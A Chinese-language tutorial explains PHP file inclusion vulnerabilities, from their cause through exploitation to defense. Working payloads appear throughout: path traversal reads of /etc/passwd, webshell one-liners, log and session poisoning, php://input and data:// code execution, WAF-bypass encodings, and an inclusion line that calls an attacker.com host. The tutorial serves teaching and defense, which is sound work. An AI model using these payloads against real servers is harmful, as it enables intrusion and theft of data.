PHP文件包含漏洞:原理、利用与防御全解析
1. 项目概述:文件包含漏洞的本质与危害
干了这么多年Web安全,PHP文件包含漏洞(File Inclusion Vulnerability)是我见过最“经典”也最容易被开发者忽视的漏洞之一。说它经典,是因为其原理简单直接,利用方式却花样百出;说它容易被忽视,是因为很多开发者觉得“不就是个include嘛,能出啥大问题”。恰恰是这种轻视,让无数网站门户大开。
简单来说,文件包含漏洞的核心,就是程序在动态包含文件时,没有对用户传入的文件路径或名称进行严格的过滤和校验。攻击者通过构造恶意的参数,可以让程序去包含并执行一个本不该被包含的文件。这个被包含的文件可以是服务器本地的敏感配置文件(如/etc/passwd),也可以是远程服务器上的Webshell,甚至是通过PHP内置的各种“伪协议”构造的恶意数据流。一旦利用成功,轻则敏感信息泄露,重则服务器被完全控制,沦为“肉鸡”。
这个漏洞的可怕之处在于它的“无差别攻击”特性。无论被包含的文件原本是.txt、.log还是图片,只要其内容被include、require等函数加载,其中的PHP代码就会被解析执行。这就好比你家大门(include函数)的锁坏了,小偷不仅能进来,还能把你家任何一件家具(文件)变成打开保险箱的钥匙(执行代码)。对于刚入门安全测试的朋友,或是正在开发PHP项目的程序员,彻底理解这个漏洞的成因、利用手法和防御方法,是构建安全意识的必修课。
2. 漏洞原理深度剖析:从函数到利用链
要理解漏洞,必须先理解PHP是如何“包含”文件的。这不是一个简单的文件读取操作,而是一个代码执行的过程。
2.1 核心“元凶”:四个包含函数
PHP提供了四个用于文件包含的函数,它们的行为略有不同,但在漏洞利用上“效果”一致:
include(): 包含并运行指定文件。如果包含失败(如文件不存在),会发出一个警告(E_WARNING),但脚本会继续执行。require(): 包含并运行指定文件。如果包含失败,会产生一个致命错误(E_COMPILE_ERROR),并停止脚本执行。include_once()/require_once(): 功能与前两者相同,但会检查该文件是否已经被包含过,如果是则不会再次包含。这在防止函数重定义时有用,但对安全防护无额外帮助。
关键点在于:这些函数在设计上是为了提高代码的复用性和模块化。例如,将数据库连接配置写在config.php中,然后在每个需要数据库操作的页面开头include(‘config.php’)。问题出在,这个被包含的文件路径,如果可以由用户控制(比如通过$_GET、$_POST等超全局变量传入),漏洞就产生了。
2.2 漏洞产生的典型代码模式
最经典的漏洞代码长这样:
<?php $file = $_GET['file']; // 用户直接控制文件路径 include($file . '.php'); // 拼接后缀,但过滤不严 ?>第一行,程序直接从URL参数file中获取值,赋值给变量$file。这里没有任何过滤。第二行,虽然拼接了.php后缀,试图限制只能包含PHP文件,但我们将看到,这种防御形同虚设。
攻击者可以这样访问:http://victim.com/index.php?file=../../../../etc/passwd。此时,$file的值为../../../../etc/passwd,拼接后变成../../../../etc/passwd.php。服务器会尝试回溯目录,去寻找并包含这个根本不存在的.php文件。然而,在包含操作发生前,PHP会尝试打开这个路径。如果文件存在且可读,即使最终包含失败(因为/etc/passwd不是有效的PHP文件),在文件打开阶段,其内容也可能被部分输出或通过错误信息泄露。更危险的是,如果服务器同时存在文件上传漏洞,攻击者上传一个内容为<?php phpinfo();?>的shell.jpg,那么通过包含?file=uploads/shell.jpg,其中的PHP代码就会被执行。
2.3 本地与远程:漏洞的两个维度
根据包含文件的来源,漏洞可分为两类:
- 本地文件包含(LFI):包含的是服务器本地文件系统上的文件。这是最常见的情况。利用LFI,攻击者可以读取系统敏感文件(密码、配置)、包含上传的恶意文件,或者包含如日志、Session等进程生成的文件来执行代码。
- 远程文件包含(RFI):包含的是通过HTTP、FTP等协议从远程服务器获取的文件。这种危害更大,相当于允许攻击者在自己的服务器上托管恶意代码,然后让受害服务器去下载并执行。但RFI需要两个关键的PHP配置项开启才能生效:
allow_url_fopen = On和allow_url_include = On。在现代PHP版本和安全意识下,默认配置通常已关闭allow_url_include,使得纯RFI较为少见,但与之相关的伪协议利用依然活跃。
3. 利用手法实战:从简单读取到代码执行
理解了原理,我们来看看攻击者具体有哪些“武器”。我会结合自己的测试经验,告诉你哪些手法现在依然有效,哪些已经随着PHP版本更新而失效。
3.1 无限制本地文件包含(LFI)
这是最理想的情况,代码没有任何过滤,比如include($_GET[‘file’]);。
- 敏感信息读取:直接进行路径遍历。
?file=../../../../etc/passwd(Linux)?file=../../../../windows/system32/drivers/etc/hosts(Windows)?file=./config/database.php(读取项目配置文件,可能含数据库密码)
- 配合文件上传GetShell:这是LFI最常导致的严重后果。假设网站有头像上传功能,虽然校验了文件类型,但攻击者可以上传一个包含Webshell代码的图片文件(如
shell.jpg,内容为<?php @eval($_POST[‘cmd’]);?>)。然后通过LFI包含这个图片:?file=./uploads/shell.jpg,图片中的PHP代码就会被执行。
实操心得:在实际渗透测试中,遇到严格图片校验时,可以尝试使用Exif工具将PHP代码写入图片的EXIF信息中,有时能绕过简单的文件头校验。命令如:
exiftool -Comment=‘<?php system($_GET[“c”]); ?>’ shell.jpg。
3.2 有限制LFI的绕过技巧
现实中的代码多少会有点过滤,比如前面提到的加后缀.php。以下是几种经典的绕过方法:
3.2.1 %00空字节截断(已失效但须了解)在PHP版本< 5.3.4且magic_quotes_gpc = Off时,可以利用空字节(%00)来截断后面的字符串。
- 示例:
?file=../../../../etc/passwd%00 - 原理:
%00在C语言和早期PHP中表示字符串结束。PHP在拼接$file . ‘.php’时,遇到%00会认为字符串已结束,后面的.php被忽略。但在PHP 5.3.4之后,此特性被修复,%00会被直接拒绝,此方法基本退出历史舞台。
3.2.2 路径长度截断操作系统对文件路径有最大长度限制(Windows 260字符,Linux 4096字符)。超出部分会被截断。
- 示例:
?file=test.txt/././././././...(重复非常多次) - 原理:攻击者传入超长路径,使最终拼接出的路径超过系统限制,系统自动截断末尾部分(包括我们讨厌的
.php后缀)。这种方法在现代Web环境中成功率也在下降,因为Web服务器(如Nginx)可能先于操作系统对URL路径长度进行限制。
3.2.3 点号截断(仅Windows)这是路径长度截断在Windows系统下的一个变种,利用Windows下目录路径中.的特殊性。
- 示例:
?file=test.txt........................................................................................................................................................................................................................................................................................................................ - 原理:Windows API在处理超长的
.时会出现异常,导致后缀被截断。此方法仅适用于Windows服务器,且在新版本PHP中同样受到限制。
注意事项:上述三种传统截断方法在当今的渗透测试中,更多是作为“历史知识”存在。面对现代PHP环境(>=5.3.4)和配置,它们往往无效。我们的重点应该转向更通用的技巧和伪协议。
3.3 利用环境文件:日志、Session与Proc
当无法直接上传文件时,聪明的攻击者会利用服务器上那些“可写”且“会被包含”的文件。这些文件就像是攻击者的“便签本”,他们先把代码“写”上去,再让包含函数去“读”。
3.3.1 日志文件包含Web服务器(如Apache, Nginx)会记录所有访问日志。如果攻击者能预测日志路径(如默认的/var/log/apache2/access.log),就可以将PHP代码作为HTTP请求的一部分写入日志,然后包含该日志文件。
- 利用步骤:
- 探测日志路径。可通过报错信息、
phpinfo()页面或常见默认路径猜测。 - 发送一个包含PHP代码的HTTP请求。例如,直接访问:
http://victim.com/<?php phpinfo();?>。这个畸形的URL会被记录到访问日志中。 - 使用LFI包含日志文件:
?file=../../../var/log/apache2/access.log。
- 探测日志路径。可通过报错信息、
- 难点与技巧:浏览器或URL编码会破坏代码。例如
<、>、空格会被编码。通常需要借助Burp Suite这类工具直接发送原始HTTP请求,避免编码。此外,日志文件通常很大,包含执行可能导致超时,最好先写入一个简单的phpinfo()或短小的Webshell代码。
3.3.2 Session文件包含PHP的Session机制会将用户会话数据存储在服务器的一个文件中(如/tmp/sess_[session_id])。如果Session内容用户可控,且Session文件路径可知,就能构成利用链。
- 利用条件:
- Session存储路径已知(通过
phpinfo()中的session.save_path获取,或尝试默认路径)。 - Session内容(
$_SESSION变量)用户可控(例如,程序将$_GET[‘username’]直接存入$_SESSION[‘username’])。
- Session存储路径已知(通过
- 示例:
攻击者访问:// vuln.php session_start(); $_SESSION[‘username’] = $_GET[‘username’]; // 用户可控!http://victim.com/vuln.php?username=<?php phpinfo();?>这个PHP代码会被存入Session文件(如/tmp/sess_abc123)。 然后,利用另一个存在LFI的页面:?file=../../../tmp/sess_abc123,即可执行phpinfo()。
3.3.3 /proc/self/environ 包含在Linux系统中,/proc/self/environ文件包含了当前进程的环境变量。其中HTTP_USER_AGENT是由客户端浏览器发送的,因此攻击者可以控制。
- 利用步骤:
- 修改你的HTTP请求的User-Agent头为PHP代码:
User-Agent: <?php system(‘id’); ?> - 利用LFI包含:
?file=../../../proc/self/environ - 如果包含成功,
id命令的结果可能会输出在页面上。
- 修改你的HTTP请求的User-Agent头为PHP代码:
- 限制:这种方法需要
/proc文件系统可读,且PHP有权限读取该文件。在现代容器化或严格权限控制的环境中可能不可用。
3.4 PHP伪协议:文件包含的“瑞士军刀”
PHP伪协议是文件包含漏洞利用中最强大、最灵活的部分。它们不是用来访问具体的文件,而是访问各种“数据流”或“封装器”。
3.4.1 php://filter(最常用的信息读取器)这个协议不执行代码,主要用于读取服务器上已有文件的源代码,特别是在无法直接访问源码时(比如.php文件被解析了)。
- 语法:
php://filter/read=convert.base64-encode/resource=目标文件 - 示例:
?file=php://filter/read=convert.base64-encode/resource=index.php - 作用:将
index.php文件的内容经过Base64编码后输出。攻击者拿到Base64字符串后,解码即可获得完整的源代码。它不需要allow_url_include开启,只需要allow_url_fopen=On(默认通常是On),因此利用门槛极低。 - 为什么用Base64?因为直接读取
.php文件,其中的PHP代码会被执行,我们看不到源码。通过Base64编码,代码被转换成文本,就能安全地“看”到了。这是审计代码、寻找其他漏洞(如数据库密码、逻辑漏洞)的利器。
3.4.2 php://input(执行任意代码)这个协议允许你访问请求的原始POST数据,并将其作为PHP代码执行。
- 条件:需要
allow_url_include=On。 - 利用方式:
- 发送一个POST请求。
- URL参数为:
?file=php://input - 请求体(Body)中直接写入要执行的PHP代码:
<?php system(‘ls -la’); ?>
- 示例(使用cURL命令):
服务器端的curl -X POST http://victim.com/vuln.php?file=php://input --data “<?php echo ‘Hello, Hack!’; ?>”include函数会包含php://input流,而该流的内容就是你POST过去的代码,于是echo语句就被执行了。这相当于一个直接的代码执行入口,危害极大。
3.4.3 data://(数据流直接执行)将一段定义好的数据作为文件流来包含。
- 条件:需要
allow_url_include=On和allow_url_fopen=On。 - 语法:
data://text/plain, 你的代码或data://text/plain;base64,Base64编码的代码 - 示例:
- 明文:
?file=data://text/plain,<?php phpinfo();?> - Base64编码(避免特殊字符问题):
?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
- 明文:
- 特点:非常直接,无需任何外部文件,直接将代码作为参数传递并执行。
3.4.4 phar:// 与 zip://(压缩包绕过)这两个协议用于处理压缩文件。它们的神奇之处在于,即使文件后缀是.jpg或.png,只要其内部是ZIP压缩格式,它们就能解压并访问其中的文件。这常用于绕过文件上传校验。
- phar://:
?file=phar://上传的图片文件/phar内部的文件- 示例:攻击者将Webshell
shell.php压缩成shell.zip,然后改名为shell.jpg上传。利用LFI:?file=phar://./uploads/shell.jpg/shell.php
- 示例:攻击者将Webshell
- zip://:
?file=zip://[压缩文件绝对路径]#[内部文件]- 示例:
?file=zip:///var/www/html/uploads/shell.jpg%23shell.php(注意#需要URL编码为%23)
- 示例:
- 条件:需要
allow_url_include=On。phar需要PHP>=5.3.0。
3.4.5 file:// 与 expect://
file://:用于访问本地文件系统,是php://filter的替代,但更直接。如?file=file:///etc/passwd。它通常不需要特殊配置。expect://:用于执行系统命令,如?file=expect://ls。但这个协议需要安装并启用PECL的expect扩展,在绝大多数生产环境中并未安装,因此实际利用价值很低。
4. 漏洞挖掘、利用与防御实战指南
知道了所有攻击方法,我们如何系统地发现、验证和修复它?
4.1 漏洞挖掘与测试流程
- 信息收集:寻找可能存在包含功能的参数。常见参数名如
file,page,template,load,path,document等。观察URL模式,如index.php?page=about。 - 初步测试:尝试包含一个已知存在的文件。
- 绝对路径:
?file=/etc/passwd(Linux) 或?file=C:\windows\win.ini(Windows)。 - 相对路径:
?file=../../../../etc/passwd。 - 如果页面返回了文件内容(或文件不存在的错误与包含其他文件时不同),则可能存在LFI。
- 绝对路径:
- 后缀绕过测试:如果程序添加了后缀(如
.php)。- 尝试空字节截断(历史环境):
?file=../../etc/passwd%00 - 尝试路径截断:
?file=../../etc/passwd././././.(或超长../) - 最有效:尝试伪协议读取源码:
?file=php://filter/read=convert.base64-encode/resource=index.php。这能绕过很多后缀限制。
- 尝试空字节截断(历史环境):
- RFI测试:尝试包含一个远程URL。
?file=http://attacker.com/shell.txt- 如果服务器开启了
allow_url_include且请求发往了你的服务器(可在自己服务器日志查看),则存在RFI。
- 升级利用:如果确认LFI,尝试结合其他漏洞或环境。
- 检查是否有文件上传点,尝试上传图片马并用LFI包含。
- 尝试包含日志(
/var/log/apache2/access.log)、Session文件(通过phpinfo找路径)、/proc/self/environ等。 - 尝试使用
php://input或data://协议执行代码。
4.2 常见问题与排查技巧实录
在实际测试和防御中,你会遇到各种奇怪的情况。下面是我踩过的一些坑和总结的技巧:
问题1:包含文件后页面空白或报错,但不确定是否包含成功。
- 排查:包含一个肯定会触发Warning或Notice的文件。例如,包含一个不存在的文件,或者包含一个内容为
<?php echo “TEST”;?>的文本文件。观察页面是否有“TEST”输出,或者错误信息是否变化。使用php://filter读取一个已知的小文件(如robots.txt)的base64,看输出是否变化,是最稳妥的方法。
问题2:使用php://input执行命令没有回显。
- 技巧:尝试将命令执行的结果写入一个Web可访问的文件。POST Body内容为:
<?php file_put_contents(‘/tmp/result.txt’, shell_exec(‘ls -la’)); ?>。然后尝试通过其他方式(如目录遍历)访问/tmp/result.txt查看结果。或者使用system(‘ls -la > /tmp/result.txt’)。
问题3:日志文件包含失败,可能是权限问题或日志路径不对。
- 技巧:Linux下尝试常见日志路径:
/var/log/apache2/access.log,/var/log/apache/access.log,/var/log/nginx/access.log,/var/log/httpd/access_log。使用phpinfo()页面是获取绝对路径的最佳方式。同时,确保你写入日志的Payload没有被Web服务器或WAF过滤掉<、>等符号。
问题4:Session文件包含中,无法预测或获取Session ID。
- 技巧:如果程序在设置可控Session后立即跳转或使用了新的Session,可以尝试利用Burp Suite的Repeater工具,禁止请求跟随重定向,并从响应头中提取
Set-Cookie字段中的Session ID。或者,如果程序存在XSS漏洞,可以通过JavaScript获取用户的Session ID。
问题5:伪协议利用被WAF拦截。
- 绕过技巧:
- 大小写混淆:
PHP://input,Php://Filter。 - 多重编码:对参数进行URL编码两次:
?file=php%253A//filter/...(服务器解码一次后变成php%3A//...,可能绕过简单匹配)。 - 使用其他协议:如果
php://被禁,尝试data://或zip://。 - 结合路径穿越:
?file=./php://filter/...或?file=php:/./filter/...(某些环境下php:/会被归一化为php://)。
- 大小写混淆:
4.3 彻底修复:从代码到配置的防御体系
修复文件包含漏洞,必须从多个层面建立纵深防御。
4.3.1 代码层修复(治本之策)
- 白名单制度:这是最有效的方法。如果只有固定的几个文件需要被包含,使用白名单。
$allowed_pages = [‘home’, ‘about’, ‘contact’]; $page = $_GET[‘page’]; if (in_array($page, $allowed_pages)) { include(‘./templates/’ . $page . ‘.php’); } else { include(‘./templates/404.php’); } - 严格过滤输入:如果必须动态包含,则对输入进行严格校验。
注意:$file = $_GET[‘file’]; // 1. 移除目录遍历字符 $file = str_replace(‘../’, ‘’, $file); $file = str_replace(‘..\\’, ‘’, $file); // Windows // 2. 限制文件路径在特定目录内 $base_dir = ‘/var/www/html/includes/’; $real_path = realpath($base_dir . $file); // 3. 检查最终路径是否仍在安全目录内 if ($real_path && strpos($real_path, $base_dir) === 0) { include($real_path); } else { die(‘Invalid file path.’); }str_replace(‘../’, ‘’, $file)这种过滤可以被….//绕过(移除../后变成../)。应使用更严格的循环过滤或正则表达式。
4.3.2 服务器配置层修复(重要加固)
- 修改php.ini:
- 将
allow_url_include设置为Off。这是关闭远程文件包含和危险伪协议(如php://input,data://)的关键。在绝大多数生产环境中,没有任何理由需要开启此选项。 - 设置
open_basedir。将其限制在Web应用所需的目录范围内,例如:open_basedir = /var/www/html/。这可以防止PHP脚本访问该目录树之外的文件,极大地限制了LFI的危害范围。 - 确保
magic_quotes_gpc已弃用且关闭(现代PHP默认如此),但不要依赖它作为安全手段。
- 将
- Web服务器配置:
- 为Web服务进程(如www-data, nginx用户)设置严格的文件系统权限,遵循最小权限原则。
- 定期更新PHP、Web服务器及系统,修复已知漏洞。
4.3.3 架构与运维层建议
- 禁用危险函数:在
php.ini的disable_functions中,可以考虑禁用system,shell_exec,exec,passthru等函数,即使Webshell被上传,也能限制其执行命令的能力。 - 部署Web应用防火墙(WAF):商业或开源的WAF可以识别和拦截常见的文件包含攻击Payload。
- 安全开发培训:让开发者理解“永远不要信任用户输入”这一铁律,并在代码审查中重点关注文件操作、命令执行、数据库查询等敏感函数。
文件包含漏洞就像PHP安全世界里的一扇“任意门”,配置不当或代码疏忽就会让它通向服务器的核心地带。防御它没有银弹,需要开发者、运维和安全人员共同在代码规范、服务器配置和日常监控上持续投入。对于安全研究者而言,理解其背后的每一种利用技巧,不仅能更好地进行渗透测试,也能在设计系统时,本能地避开这些陷阱。
